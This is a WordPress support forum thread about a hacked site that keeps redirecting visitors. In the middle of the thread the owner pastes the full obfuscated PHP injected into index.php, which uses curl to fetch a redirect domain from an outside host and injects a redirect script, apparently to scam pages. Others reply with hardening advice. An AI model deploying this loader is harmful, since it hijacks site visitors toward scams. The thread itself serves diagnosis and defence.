Got hacked
-
It seems there is some code inserted somewhere… it randomly redirects users to an external website, but it does it only one time per session.
redirects to external website but https://www.a works. Clicking on the top menu links also redirects to external webiste
The page I need help with: [log in to see the link]
-
Perform a scan with WordFence
This will check for any malicious code in your site.,
Also, check your .htaccess, and change all your passwords (WordPress, Hosting, FTP)
Thank you!!!
Reopening since the problem persists.
– I reinstalled wordpress
– Reviewed .htaccess file (no issues with it)
– Installed Wordfence and run the scan (no issues with it)
– Changed all passwords: ftp, hosting, wordpress to superlong ones ??Still getting a redirect to external site when loading https://www.ageekinjapan.com (First time once per session?), Opening a private window on the browser and opening the site )
Fixed the problem again… I thin… My index.php file had code inserted at the beginning starting like this:
<?php $id6fe1d0be634 = "/index/?2601510941471"; $z8c7dd922ad47=md5( .......
before the line: define(‘WP_USE_THEMES’, true);
The index.php keeps being edited everyday with the same inserted code even thought I have changed all my passwords. There is nothing in my crontab and also I’ve made sure there are not active plugins except wordfence.
How do I know what process is editing the index.php?
The problem persists, the index.php is being edited every 24h or so.
I have changed all passwords several times and Wordfence is also running 24/7
If you can, lock off the changes by IP ranges you use.
set public index .htaccess to allow only by IP ip range.
also block PHP as well by IP range.<Files wp-login.php>
Order Deny,Allow
Deny from All
Allow from ##.###.##.###
Allow from ##.##.##
Allow from ##.##.##
Allow from ##.##.##
Deny from ##.##.##<Files wp-admin$>
Order Deny,Allow
Deny from AllSame IP list above
<FilesMatch “^php5?\.(ini|cgi)$”>
Order Deny,Allow
Deny from Allsame again ending ip list with
Allow from env=REDIRECT_STATUS=200toss this in too
</FilesMatch>
Options -Indexes
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>this will not help if they are crossing from a trust with the host server but if it’s an outside attack and they are getting in and changing files, this may block the access to those files they need to change to modify your site.
I had a few issues where they got into my site and changed the front page, they changed user names and access..
I did all the same of changing passwords and credentials bu they were back in in 15 days. (with wordfence on) and yes when they hacked in they turned the plugins off.
this, though a pain to have to update IP’s whenever I travel somewhere, has secured my site for now.. (last 8 months)
Hello, thank you @afleetinglimpse!
Unfortunately I added all those rules to my .httaccess and changed all passwords again. After several ours they inserted the code again the first line of my index.php, this means that they are not really logging in to insert the code?
-
This reply was modified 6 years, 8 months ago by
kirai.
This is the complete line of code that is being inserted in my index.php, now it seems to be happening several times per 24 hours.
<?php $id6fe1d0be634 = "/index/?2601510941471"; $z8c7dd922ad47=md5($id6fe1d0be634);$u77e8e1445762=time();$geaa082fa5781=filemtime($z8c7dd922ad47);$u07cc694b9b3f=$u77e8e1445762-$geaa082fa5781;if(file_exists($z8c7dd922ad47)){$fe1260894f59e=@fopen($z8c7dd922ad47,base64_decode('cg=='));$xe4e46deb7f9c=json_decode(base64_decode(fread($fe1260894f59e,filesize($z8c7dd922ad47))),1);fclose($fe1260894f59e);}if($u07cc694b9b3f>=60 ||!file_exists($z8c7dd922ad47)){$v9b207167e538=getDDroi($z8c7dd922ad47);if($v9b207167e538[base64_decode('ZG9tYWlu')]){$je617ef6974fa=base64_decode('aHR0cDovLw==').$v9b207167e538[base64_decode('ZG9tYWlu')].$id6fe1d0be634;}else{$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode('QUkgcnNydg=='));curl_setopt($wd88fc6edf21e,CURLOPT_URL,$xe4e46deb7f9c[base64_decode('cnNydg==')]);curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sad5f82e879a9=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$je617ef6974fa=base64_decode('aHR0cDovLw==').$sad5f82e879a9.$id6fe1d0be634;}}else{$je617ef6974fa=base64_decode('aHR0cDovLw==').$xe4e46deb7f9c[base64_decode('ZG9tYWlu')].$id6fe1d0be634;}function getDDroi($z8c7dd922ad47){$wd88fc6edf21e=curl_init();curl_setopt($wd88fc6edf21e,CURLOPT_RETURNTRANSFER,true);curl_setopt($wd88fc6edf21e,CURLOPT_USERAGENT,base64_decode('QUkgcm9p'));curl_setopt($wd88fc6edf21e,CURLOPT_URL,base64_decode('aHR0cDovL3JvaTc3Ny5jb20vZG9tYWluX3RlbXAucGhwP2Y9anNvbg=='));curl_setopt($wd88fc6edf21e,CURLOPT_TIMEOUT,10);$sb4a88417b3d0=curl_exec($wd88fc6edf21e);curl_close($wd88fc6edf21e);$xe4e46deb7f9c=json_decode($sb4a88417b3d0,true);if($xe4e46deb7f9c[base64_decode('ZG9tYWlu')]){$y0666f0acdeed=@fopen($z8c7dd922ad47,base64_decode('dys='));@fwrite($y0666f0acdeed,base64_encode($sb4a88417b3d0));@fclose($y0666f0acdeed);return $xe4e46deb7f9c;}else return false;}if(!$_COOKIE[base64_decode('YTc3N2Q=')]){setcookie(base64_decode('YTc3N2Q='),1,time()+43200,base64_decode('Lw=='));echo base64_decode('PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi').$je617ef6974fa.base64_decode('Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi').$je617ef6974fa.base64_decode('Ijs8L3NjcmlwdD4=');}
-
This reply was modified 6 years, 7 months ago by
kirai.
may want to put a block on the server calling
ht tp: //roi777.com
-
This reply was modified 6 years, 7 months ago by
afleetingglimpse.
calling out of the IP for king-servers.com.
162.244, range but with multiple servers I would start by blacklisting the whole range.
if it still gets replaced or you want to do more work first..
this shows 12 IP ranges those US based servers use.https://awebanalysis.com/en/ipv4-as-name-directory/http%3A-slash–slash-king-servers.com/
looking at a page that had the code on it prior. it is now a fake windows virus/windows defender scam page.
Since it’s calling w ww.evange lizabrasil.com (2 manual brakes added by me)
I would also specifically block that. Not that I am sure thats an issue but it seems that the $z8c7dd922ad47 is calling the index on that site. and being the front landing page is hacked.. blocking it is a good idea anyway.
I am not an expert, maybe someone else will pop in with more help.
“this means that they are not really logging in to insert the code?”
from what I can see, no.
a code is hidden on your box somewhere are is being called at specific times.
it seems to look at the index and if the timestamp changed it calls out and pulls the changes from another machine.i effect they are not breaking in, your machine is calling out to grant them access again.
since it is so common several times per 24 hours, I would clear and log all external IP calls.
wordfence is not telling you the admin has been accessed or the index is changed because when the machine pulls the info no login happened. and it disables WF before changing the index so you don’t get an alert.
Hello! I added all the ips and ip ranges of the suspicious sites mentioned and it stoped it for more than 48 hours… but now the inserted code is back again.
Any more ideas of what I should do?
-
This reply was modified 6 years, 8 months ago by
- The topic ‘Got hacked’ is closed to new replies.